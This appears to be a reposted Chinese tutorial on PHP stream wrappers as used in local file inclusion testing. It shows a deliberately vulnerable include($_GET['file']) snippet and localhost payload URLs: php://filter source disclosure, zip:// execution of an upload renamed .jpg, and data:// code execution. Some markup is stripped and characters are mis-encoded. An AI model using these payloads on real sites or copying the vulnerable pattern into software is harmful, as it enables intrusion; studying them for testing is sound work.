名稱 | 描述 |
---|---|
resource=要過濾的數(shù)據(jù)流> | 這個參數(shù)是必須的。它指定了你要篩選過濾的數(shù)據(jù)流。 |
read=讀鏈的篩選列表> | 該參數(shù)可選??梢栽O(shè)定一個或多個過濾器名稱,以管道符分隔。 |
write=寫鏈的篩選列表> | 該參數(shù)可選??梢栽O(shè)定一個或多個過濾器名稱,以管道符分隔。 |
;兩個鏈的篩選列表> | 任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應(yīng)用于讀或?qū)戞湣?/td> |
?php include($_GET['file']) ?>
http://127.0.0.1/code/1.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
php://input
php://input 可以訪問請求的原始數(shù)據(jù)的只讀流, 將post請求中的數(shù)據(jù)作為PHP代碼執(zhí)行。
zip://, bzip2://, zlib://協(xié)議
zip://, bzip2://, zlib://協(xié)議在雙off的情況下也可以正常使用;
zip://, bzip2://, zlib:// 均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名。
使用方法
zip://archive.zip#dir/file.txt
zip:// [壓縮文件絕對路徑]#[壓縮文件內(nèi)的子文件名]
測試
先將要執(zhí)行的PHP代碼寫好文件名為phpcode.txt,將phpcode.txt進(jìn)行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。
由于#在get請求中會將后面的參數(shù)忽略所以使用get請求時候應(yīng)進(jìn)行url編碼為%23,且此處經(jīng)過測試相對路徑是不可行,所以只能用絕對路徑。
http://127.0.0.1/code/1.php?file=zip://E:\phpStudy\WWW\code/1.zip%231.txt
data://協(xié)議
data://協(xié)議必須雙在on才能正常使用;
http://127.0.0.1/code/1.php?file=data://text/plain,?php phpinfo()?> http://127.0.0.1/code/1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
glob://協(xié)議
glob:// — 查找匹配的文件路徑模式
?php $it = new DirectoryIterator($_GET['file']); foreach($it as $f) { printf("%s", $f->getFilename()); echo'/br>'; } ?>
expect://協(xié)議
expect:// — 處理交互式的流
該封裝協(xié)議默認(rèn)未開啟
為了使用 expect:// 封裝器,你必須安裝 » PECL 上的 » Expect 擴(kuò)展。
用法
expect://command
附:HTTP協(xié)議是無狀態(tài)的和Connection: keep-alive的區(qū)別
無狀態(tài)是指協(xié)議對于事務(wù)處理沒有記憶能力,服務(wù)器不知道客戶端是什么狀態(tài)。從另一方面講,打開一個服務(wù)器上的網(wǎng)頁和你之前打開這個服務(wù)器上的網(wǎng)頁之間沒有任何聯(lián)系
HTTP是一個無狀態(tài)的面向連接的協(xié)議,無狀態(tài)不代表HTTP不能保持TCP連接,更不能代表HTTP使用的是UDP協(xié)議(無連接)
從HTTP/1.1起,默認(rèn)都開啟了Keep-Alive,保持連接特性,簡單地說,當(dāng)一個網(wǎng)頁打開完成后,客戶端和服務(wù)器之間用于傳輸HTTP數(shù)據(jù)的TCP連接不會關(guān)閉,如果客戶端再次訪問這個服務(wù)器上的網(wǎng)頁,會繼續(xù)使用這一條已經(jīng)建立的連接
Keep-Alive不會永久保持連接,它有一個保持時間,可以在不同的服務(wù)器軟件(如Apache)中設(shè)定這個時間
總結(jié)
以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。
Reference
標(biāo)簽:定西 迪慶 六安 樂山 南寧 佛山 十堰 海南
巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《關(guān)于php支持的協(xié)議與封裝協(xié)議總結(jié)(推薦)》,本文關(guān)鍵詞 關(guān)于,php,支持,的,協(xié)議,與,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。